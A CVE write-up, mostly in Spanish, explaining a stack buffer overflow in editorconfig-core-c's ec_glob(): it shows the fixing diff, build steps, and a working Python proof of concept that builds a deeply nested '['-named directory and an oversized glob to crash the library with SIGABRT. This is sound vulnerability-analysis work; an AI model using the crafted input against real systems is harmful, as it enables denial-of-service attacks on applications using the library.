CVE-2026-40489

Descripción del NIST sobre CVE:

editorconfig-core-c is an EditorConfig core library for use by plugins supporting EditorConfig parsing. Versions up to 
and including 0.12.10 have a stack-based buffer overflow in ec_glob() that allows an attacker to crash any application 
using libeditorconfig by providing a specially crafted directory structure and .editorconfig file. This is an incomplete 
fix for CVE-2023-0341. The pcre_str buffer was protected in 0.12.6 but the adjacent l_pattern[8194] stack buffer received 
no equivalent protection. On Ubuntu 24.04, FORTIFY_SOURCE converts the overflow to SIGABRT (DoS). Version 0.12.11 contains 
an updated fix.

clona ambas versiones:

git clone https://github.com/editorconfig/editorconfig-core-c.git
cd editorconfig-core-c

# vulnerable build (parent of the fix)
git worktree add ../ec-vuln b4724e4

# patched build (the CVE-2026-40489 fix)
git worktree add ../ec-fixed 5159be8

lo compararemos:

git -C editorconfig-core-c diff b4724e4 5159be8 -- src/lib/ec_glob.c

El diff:

diff --git a/src/lib/ec_glob.c b/src/lib/ec_glob.c
index 18f98c1..8b1613f 100644
--- a/src/lib/ec_glob.c
+++ b/src/lib/ec_glob.c
@@ -96,8 +96,12 @@ int ec_glob(const char *pattern, const char *string)
     _Bool                     are_braces_paired = 1;
     UT_array *                nums;     /* number ranges */
     int                       ret = 0;
+    size_t                    pattern_len = strlen(pattern);

-    strcpy(l_pattern, pattern);
+    /* Reject patterns that would overflow l_pattern in the copy below. */
+    if (pattern_len >= sizeof(l_pattern))
+        return -1;
+    memcpy(l_pattern, pattern, pattern_len + 1);
     p_pcre = pcre_str + 1;
     pcre_str_end = pcre_str + 2 * PATTERN_MAX;

old code was one line: 

strcpy(l_pattern, pattern);

copia bytes hasta que encuentra un terminador nulo, sin importar el tamaño del destino. Si pattern es más largo que 8194 bytes (2 * PATTERN_MAX), escribe más allá del final de l_pattern y sobre la pila.

la corrección hace tres cosas:

1. mide primero  strlen(pattern) obtiene la longitud antes de copiar nada
2. comprueba los límites  si la longitud es ≥ el tamaño del búfer, aborta con -1 en lugar de copiar. El >= (no >) importa porque también necesitas espacio para el terminador nulo.
3. usa memcpy en lugar de strcpy  como la longitud ya se conoce, no hay razón para volver a recorrer la cadena. memcpy copia exactamente pattern_len + 1 bytes (el +1 incluye el terminador nulo).

compilaremos el binario y nos aseguraremos de que funciona:

rm -rf build
mkdir build && cd build
cmake .. -DBUILD_SHARED_LIBS=OFF && make

PoC:

import os
import subprocess
import shutil

base = "/tmp/dummy-config"
nested = base
while len(nested) < 2100:
    nested = os.path.join(nested, "[" * 200)

test_file = os.path.join(nested, "test.txt")
config_file = os.path.join(nested, ".editorconfig")

binary_path = "/tmp/editorconfig"

if os.path.exists(base):
    shutil.rmtree(base)

os.makedirs(nested, exist_ok=True)
open(test_file, 'w').close()

# ~2100 char path of '[' escapes to ~4200 + 4000 char glob = ~8200 > 8194
glob_pattern = "A" * 4000

with open(config_file, 'w') as f:
    f.write("root = true\n\n")
    f.write(f"[{glob_pattern}]\n")
    f.write("indent_size = 2\n")

res = subprocess.run([binary_path, test_file], capture_output=True, text=True)

if res.returncode == -6:
    print(f"[+] vulnerable sigabrt (return code: {res.returncode})")
elif res.returncode < 0:
    print(f"[+] crashed signal {-res.returncode} (return code: {res.returncode})")
else:
    print(f"[-] not vulnerable (return code: {res.returncode})")

El binario busca .editorconfig en la carpeta donde se encuentra el .txt y lee el patrón glob de él.

ejecutas editorconfig /tmp/dummy-config/[[[[[.../test.txt, el binario necesita hacer coincidir el nombre de archivo con el patrón glob de .editorconfig, para ello, construye un patrón completo como: /tmp/dummy-config/\[\[\[\[.../**/AAAA.... Antepone la ruta del directorio al glob para poder hacer coincidir contra la ruta completa del archivo.

[ significa algo en la sintaxis glob (es una clase de caracteres, como [a-z]). El directorio tiene literalmente [ en su nombre, no está pensado como un glob. Así que el código escapa cada uno con una barra invertida: [ → \[. Eso significa "[ literal, no un glob." editorconfig.c lo hace automáticamente. Cuando lee la ruta a tu archivo .editorconfig, recorre cada carácter y si encuentra algún carácter especial de glob, inserta un \ antes de él. Esto ocurre antes de que la ruta llegue a ec_glob()

Cada [ en la ruta gana un carácter extra. 2100 caracteres se convierten en ~4200. Añade el glob de 4000 caracteres encima y esta cadena se pasa a ec_glob(), que hace strcpy(l_pattern, pattern) en un búfer de 8194 bytes. 8203 > 8194, lo que significa que escribe más allá del búfer.

en Linux moderno con FORTIFY_SOURCE, el runtime detecta la sobrescritura y mata el proceso con SIGABRT (señal 6). Python ve esto como código de retorno -6, el código de retorno -6 significa que es vulnerable, 0 o 1 = parcheado (la corrección añade una comprobación de longitud antes de la copia y devuelve -1 si es demasiado larga)